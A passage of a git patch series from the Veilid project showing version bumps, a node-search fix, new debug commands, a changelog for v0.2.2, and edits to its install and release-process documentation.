a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index 71ae433a..a3b39d02 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.2" +version = "0.2.1" # --- authors = ["Veilid Team "] edition = "2021" diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index f5d7cf00..c4d5d338 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.2" +version = "0.2.1" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index edaf48c6..afda391d 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.2 +version: 0.2.1 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 821e7978..df806257 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.2" +version = "0.2.1" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index a6a96c53..19a71176 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.2" +version = "0.2.1" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 028b289e..66ea0b0c 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.2" +version = "0.2.1" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 726826a1..e9333b9e 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.2" +version = "0.2.1" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index c4acf2bd..2abb4c45 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.2" +version = "0.2.1" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/version_bump.sh b/version_bump.sh index 58bd228f..2166527e 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,8 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade -p veilid-tools@$NEW_VERSION -cargo upgrade -p veilid-core@$NEW_VERSION +cargo upgrade veilid-tools@$NEW_VERSION +cargo upgrade veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From 189862ee5ab5daa693a27a43dd9a9b6f3f3d3e11 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:05:06 -0400 Subject: [PATCH 38/86] version work --- version_bump.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/version_bump.sh b/version_bump.sh index 2166527e..58bd228f 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,8 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade veilid-tools@$NEW_VERSION -cargo upgrade veilid-core@$NEW_VERSION +cargo upgrade -p veilid-tools@$NEW_VERSION +cargo upgrade -p veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From d4221bff773505ef959272140f8838a5501a0217 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:07:21 -0400 Subject: [PATCH 39/86] simplify --- version_bump.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/version_bump.sh b/version_bump.sh index 58bd228f..8299dea1 100755 --- a/version_bump.sh +++ b/version_bump.sh @@ -25,8 +25,7 @@ NEW_VERSION=$(cat .bumpversion.cfg | grep current_version\ = | cut -d\ -f3) echo NEW_VERSION=$NEW_VERSION # Update crate dependencies for the crates we publish -cargo upgrade -p veilid-tools@$NEW_VERSION -cargo upgrade -p veilid-core@$NEW_VERSION +cargo upgrade -p veilid-tools@$NEW_VERSION -p veilid-core@$NEW_VERSION # Update lockfile cargo update \ No newline at end of file From eda99bbd47a94c7a57f12d702c20e82036660aa3 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 14:57:04 -0400 Subject: [PATCH 40/86] node search fix --- .../src/network_manager/network_connection.rs | 2 +- veilid-core/src/rpc_processor/mod.rs | 13 +++---------- veilid-core/src/veilid_api/debug.rs | 3 +++ 3 files changed, 7 insertions(+), 11 deletions(-) diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index 0b73bc6c..59f1a018 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -404,7 +404,7 @@ impl NetworkConnection { } pub fn debug_print(&self, cur_ts: Timestamp) -> String { - format!("{} <- {} | {:x} | est {} sent {} rcvd {}", + format!("{} <- {} | {} | est {} sent {} rcvd {}", self.descriptor.remote_address(), self.descriptor.local().map(|x| x.to_string()).unwrap_or("---".to_owned()), self.connection_id.as_u64(), diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 63510ab0..fbcf2bf2 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -453,9 +453,9 @@ impl RPCProcessor { ////////////////////////////////////////////////////////////////////// - /// Search the DHT for a single node and add it to the routing table and return the node reference + /// Search the network for a single node and add it to the routing table and return the node reference /// If no node was found in the timeout, this returns None - async fn search_dht_single_key( + async fn search_for_node_id( &self, node_id: TypedKey, count: usize, @@ -561,7 +561,7 @@ impl RPCProcessor { // Search in preferred cryptosystem order let nr = match this - .search_dht_single_key(node_id, node_count, fanout, timeout, safety_selection) + .search_for_node_id(node_id, node_count, fanout, timeout, safety_selection) .await { TimeoutOr::Timeout => None, @@ -571,13 +571,6 @@ impl RPCProcessor { } }; - if let Some(nr) = &nr { - if nr.node_ids().contains(&node_id) { - // found a close node, but not exact within our configured resolve_node timeout - return Ok(None); - } - } - Ok(nr) }) } diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index e0d05661..5d633868 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -1661,6 +1661,7 @@ attach detach restart network contact [] +resolve ping appmessage appcall @@ -1748,6 +1749,8 @@ record list self.debug_app_call(rest).await } else if arg == "appreply" { self.debug_app_reply(rest).await + } else if arg == "resolve" { + self.debug_resolve(rest).await } else if arg == "contact" { self.debug_contact(rest).await } else if arg == "nodeinfo" { From 1ea0ecce87e65ce73b49f4b7b72364c53fc52196 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sat, 16 Sep 2023 16:59:54 -0400 Subject: [PATCH 41/86] changelog for v0.2.2 --- CHANGELOG.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 716d1ac8..442ae308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,15 @@ +**Changed in Veilid 0.2.2** +- Capnproto 1.0.1 + Protobuf 24.3 +- DHT set/get correctness fixes +- Connection table fixes +- Node resolution fixes +- More debugging commands (appmessage, appcall, resolve, better nodeinfo, etc) +- Reverse connect for WASM nodes +- Better Typescript types for WASM +- Various script and environment cleanups +- Earthly build for aarch64 RPM +- Much improved and faster public address detection + **Changes in Veilid 0.2.1** - Crates are separated and publishable - First publication of veilid-core with docs to crates.io and docs.rs From 06c0abead8794126c03bdbdc1d800274eb919d53 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sat, 16 Sep 2023 17:32:16 -0500 Subject: [PATCH 42/86] =?UTF-8?q?Version=20update:=20v0.2.1=20=E2=86=92=20?= =?UTF-8?q?v0.2.2?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- Cargo.lock | 62 +++++++++++++++++----------------- veilid-cli/Cargo.toml | 4 +-- veilid-core/Cargo.toml | 6 ++-- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 4 +-- 10 files changed, 44 insertions(+), 44 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 824c0b03..89f06175 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.1 +current_version = 0.2.2 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 4ad66551..dab2186e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -430,7 +430,7 @@ checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -461,7 +461,7 @@ checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -730,7 +730,7 @@ checksum = "e0b121a9fe0df916e362fb3271088d071159cdf11db0e4182d02152850756eff" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1006,7 +1006,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1406,7 +1406,7 @@ checksum = "83fdaf97f4804dcebfa5862639bc9ce4121e82140bec2a987ac5140294865b5b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1462,7 +1462,7 @@ dependencies = [ "ident_case", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1484,7 +1484,7 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core 0.20.3", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1672,7 +1672,7 @@ checksum = "04d0b288e3bb1d861c4403c1774a6f7a798781dfc519b3647df2a3dd4ae95f25" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -1715,7 +1715,7 @@ dependencies = [ "darling 0.20.3", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -2009,7 +2009,7 @@ checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -3650,7 +3650,7 @@ dependencies = [ "pest_meta", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -3721,7 +3721,7 @@ checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4417,7 +4417,7 @@ checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4439,7 +4439,7 @@ checksum = "e578a843d40b4189a4d66bba51d7684f57da5bd7c304c64e14bd63efbef49509" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4461,7 +4461,7 @@ checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4533,7 +4533,7 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -4810,9 +4810,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.35" +version = "2.0.36" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "59bf04c28bee9043ed9ea1e41afc0552288d3aba9c6efdd78903b802926f4879" +checksum = "91e02e55d62894af2a08aca894c6577281f76769ba47c94d5756bec8ac6e7373" dependencies = [ "proc-macro2", "quote", @@ -4897,7 +4897,7 @@ checksum = "49922ecae66cc8a249b77e68d1d0623c1b2c514f0060c27cdc68bd62a1219d35" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5004,7 +5004,7 @@ checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5213,7 +5213,7 @@ checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5411,7 +5411,7 @@ dependencies = [ "proc-macro2", "quote", "serde_derive_internals 0.28.0", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] @@ -5580,7 +5580,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" dependencies = [ "arboard", "async-std", @@ -5616,7 +5616,7 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.1" +version = "0.2.2" dependencies = [ "argon2", "async-io", @@ -5722,7 +5722,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" dependencies = [ "allo-isolate", "async-std", @@ -5774,7 +5774,7 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.1" +version = "0.2.2" dependencies = [ "ansi_term", "async-std", @@ -5824,7 +5824,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5876,7 +5876,7 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", @@ -5973,7 +5973,7 @@ dependencies = [ "once_cell", "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", "wasm-bindgen-shared", ] @@ -6007,7 +6007,7 @@ checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", "wasm-bindgen-backend", "wasm-bindgen-shared", ] @@ -6522,7 +6522,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.35", + "syn 2.0.36", ] [[package]] diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index a3b39d02..4e887b37 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] edition = "2021" @@ -54,7 +54,7 @@ flexi_logger = { version = "^0", features = ["use_chrono_for_offset"] } thiserror = "^1" crossbeam-channel = "^0" hex = "^0" -veilid-tools = { version = "0.2.1", path = "../veilid-tools" } +veilid-tools = { version = "0.2.2", path = "../veilid-tools" } json = "^0" stop-token = { version = "^0", default-features = false } diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index c4d5d338..cb77a8dc 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.1" +version = "0.2.2" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] @@ -59,7 +59,7 @@ network-result-extra = ["veilid-tools/network-result-extra"] [dependencies] # Tools -veilid-tools = { version = "0.2.1", path = "../veilid-tools", features = [ +veilid-tools = { version = "0.2.2", path = "../veilid-tools", features = [ "tracing", ], default-features = false } paste = "1.0.14" @@ -182,7 +182,7 @@ socket2 = { version = "0.5.3", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] -veilid-tools = { version = "0.2.1", path = "../veilid-tools", default-features = false, features = [ +veilid-tools = { version = "0.2.2", path = "../veilid-tools", default-features = false, features = [ "rt-wasm-bindgen", ] } diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index afda391d..edaf48c6 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.1 +version: 0.2.2 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index df806257..821e7978 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index 19a71176..a6a96c53 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.1" +version = "0.2.2" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 66ea0b0c..028b289e 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.1" +version = "0.2.2" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index e9333b9e..726826a1 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.1" +version = "0.2.2" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index 2abb4c45..87801681 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.1" +version = "0.2.2" # --- authors = ["Veilid Team "] license = "MPL-2.0" @@ -15,7 +15,7 @@ default = ["veilid-core/default-wasm"] crypto-test = ["veilid-core/crypto-test"] [dependencies] -veilid-core = { version = "0.2.1", path = "../veilid-core", default-features = false } +veilid-core = { version = "0.2.2", path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-wasm = "^0" From bcd99580cebddda0244cadae2cbece77f27e4936 Mon Sep 17 00:00:00 2001 From: John Smith Date: Sat, 16 Sep 2023 19:58:04 -0400 Subject: [PATCH 43/86] ensure resolver version is set for workspace for newer rust to suppress warnings --- Cargo.toml | 1 + 1 file changed, 1 insertion(+) diff --git a/Cargo.toml b/Cargo.toml index 61d53ad7..21cb31de 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -8,6 +8,7 @@ members = [ "veilid-wasm", ] exclude = ["./external"] +resolver = "2" [patch.crates-io] cursive = { git = "https://gitlab.com/veilid/cursive.git" } From 4485e4d51d79b1e2e82009d580dca5720713377f Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sat, 16 Sep 2023 19:08:45 -0500 Subject: [PATCH 44/86] Update releasing instructions Added steps for publishing to crates.io --- INSTALL.md | 178 ++++++++++++++++++++++++++++++++++------------------- 1 file changed, 113 insertions(+), 65 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index cc574352..5b5085a6 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,99 +1,147 @@ -# Install and run a Veilid Node +# Veilid Release Process -## Server Grade Headless Nodes +## Introduction -These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. +This guide outlines the process for releasing a new version of Veilid. The end result is an update of the package repositories and Pypi. -## Install +## Create a Gitlab Release -### Debian +Releases happen via a CI/CD pipeline. The release process flows as follows: -Follow the steps here to add the repo to a Debian based system and install Veilid. +1. Complete outstanding merge requests (MR): -**Step 1**: Add the GPG keys to your operating systems keyring.
-*Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. + 1.1 Evaluate the MR's adherence to the published requirements and if automatic tests passed. -```shell -wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg -``` + 1.2 (Optional) Perform the merge in a local dev environment if testing is required beyond the standard Earthly tests. -**Step 2**: Identify your architecture
-*Explanation*: The following command will tell you what type of CPU your system is running + 1.3 If everything checks out, MR meets the published requirements, and tests passed, execute the merge functions in the Gitlab UI. -```shell -dpkg --print-architecture -``` +2. Maintainer performs version bump: -**Step 3**: Add Veilid to your list of available software.
-*Explanation*: Use the result of your command in **Step 2** and run **one** of the following: + 2.1 Update your local copy of `main` to mirror the newly merged upstream `main` -- For **AMD64** based systems run this command: + 2.2 Ensure the [CHANGELOG](./CHANGELOG.md) is updated - ```shell - echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null - ``` + 2.3 Activate your bumpversion Python venv (see bumpversion setup section for details) -- For **ARM64** based systems run this command: + 2.4 Execute version_bump.sh with the appropriate parameter (patch, minor, or major). This results in all version entries being updated and a matching git tag created locally. - ```shell - echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null - ``` + 2.5 Add all changes `git add *` -*Explanation*: -Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. + 2.6 Git commit the changes with the following message: `Version update: v{current_version} → v{new_version}` -**Step 4**: Refresh the package manager.
-*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. + 2.7 Create the Git tag `git tag v{new_version}` -```shell -sudo apt update -``` + 2.8 Push your local 'main' to the upstream origin 'main' `git push` -**Step 5**: Install Veilid. + 2.9 Push the new tag to the upstream origin `git push origin {tag name made in step 2.7}` i.e. `git push origin v0.1.5` -```shell -sudo apt install veilid-server veilid-cli -``` + 2.10 Ensure the package/release/distribute pipeline autostarted in the Gitlab UI -### RPM-based +Git tags serve as a historical record of what repo versions were successfully released at which version numbers. -Follow the steps here to add the repo to -RPM-based systems (CentOS, Rocky Linux, AlmaLinux, Fedora, etc.) -and install Veilid. +## Publish to crates.io -**Step 1**: Add Veilid to your list of available software. +1. Configure the crates.io credentials, if not already accomplished. +2. Execute `cargo publish -p veilid-tools --dry-run` +3. Execute `cargo publish -p veilid-tools` +4. Execute `cargo publish -p veilid-core --dry-run` +5. Execute `cargo publish -p veilid-core` -```shell -sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo -``` -**Step 2**: Install Veilid. +## Publish to Pypi -```shell -sudo dnf install veilid-server veilid-cli -``` +1. Change directory to veilid-python +2. Install Poetry and configure the Pypi credentials, if not already accomplished. +3. Execute `poetry build` +4. Execute `poetry publish` -## Start headless node +## Reverting Releases -### With systemd +Occasionally a release will happen that needs to be reverted. This is done manually on `crates.io` or the APT repository, or wherever the artifacts end up. Tags are not removed. -To start a headless Veilid node, run: +## Released Artifacts -```shell -sudo systemctl start veilid-server.service -``` +### Rust Crates -To have your headless Veilid node start at boot: +- [x] __veilid-tools__ [__Tag__: `veilid-tools-v0.0.0`] + > An assortment of useful components used by the other Veilid crates. + > Released to crates.io when its version number is changed in `Cargo.toml` +- [x] __veilid-core__ [__Tag__: `veilid-core-v0.0.0`] + > The base rust crate for Veilid's logic + > Released to crates.io when its version number is changed in `Cargo.toml` +- [ ] __veilid-server__ + > The Veilid headless node end-user application + > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. + > This application does not currently support `cargo install` +- [ ] __veilid-cli__ A text user interface to talk to veilid-server and operate it manually + > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. + > This application does not currently support `cargo install` +- [ ] __veilid-wasm__ + > Not released to crates.io as it is not a library that can be linked by other Rust applications +- [ ] __veilid-flutter__ + > The Dart-FFI native interface to the Veilid API + > This is currently built by the Flutter plugin `veilid-flutter` and not released. -```shell -sudo systemctl enable --now veilid-server.service -``` +### Python Packages -### Without systemd +- [x] __veilid-python__ [__Tag__: `veilid-python-v0.0.0`] + > The Veilid API bindings for Python + > Released to PyPi when the version number is changed in `pyproject.toml` + +### Flutter Plugins -`veilid-server` must be run as the `veilid` user. +- [ ] __veilid-flutter__ + > The Flutter plugin for the Veilid API. + > Because this requires a build of a native Rust crate, this is not yet released via + > TODO: Eventually the rust crate should be bound to -To start your headless Veilid node without systemd, run: +### Operating System Packages -```shell -sudo -u veilid veilid-server -``` +- [x] __veilid-server__ DEB package [__Tag__: `veilid-server-deb-v0.0.0`] + > The Veilid headless node binary in the following formats: + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-server__ RPM package [__Tag__: `veilid-server-rpm-v0.0.0`] + > The Veilid headless node binary in the following formats: + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at + > +- [x] __veilid-cli__ DEB package [__Tag__: `veilid-cli-deb-v0.0.0`] + > The Veilid headless node administrator control binary in the following formats: + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-cli__ RPM package [__Tag__: `veilid-cli-rpm-v0.0.0`] + > The Veilid headless node administrator control binary in the following formats: + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at + +### Version Numbering + +All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (): + +- MAJOR version when you make incompatible API changes +- MINOR version when you add functionality in a backward compatible manner +- PATCH version when you make backward compatible bug fixes + +The `version_bump.sh` script should be run on every release to stable. All of the Rust crates are versioned together and should have the same version, as well as the `veilid-python` Python package and `veilid-flutter` Flutter plugin. + +## Bumpversion Setup and Usage + +### Install Bumpversion + +1. Create a Python venv for bumpversion.py. Mine is in my home dir so it persists when I update my local Veilid `main`. + + `python3 -m venv ~/bumpversion-venv` +2. Activate the venv. `source ~/bumpversion-venv/bin/activate` +3. Install bumpversion. `pip3 install bumpversion` + +### Activate venv for version bumping step of the release process + +1. Activate the venv. `source ~/bumpversion-venv/bin/activate` +2. Return to step 2.4 of _Create a Gitlab Release_ From 91b7130fae325e9937d9f121d574c078d8651c7a Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sat, 16 Sep 2023 19:11:53 -0500 Subject: [PATCH 45/86] Update releasing instructions Added steps to publish to crates.io --- INSTALL.md | 178 +++++++++++++++++++-------------------------------- RELEASING.md | 8 +++ 2 files changed, 73 insertions(+), 113 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 5b5085a6..cc574352 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,147 +1,99 @@ -# Veilid Release Process +# Install and run a Veilid Node -## Introduction +## Server Grade Headless Nodes -This guide outlines the process for releasing a new version of Veilid. The end result is an update of the package repositories and Pypi. +These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. -## Create a Gitlab Release +## Install -Releases happen via a CI/CD pipeline. The release process flows as follows: +### Debian -1. Complete outstanding merge requests (MR): +Follow the steps here to add the repo to a Debian based system and install Veilid. - 1.1 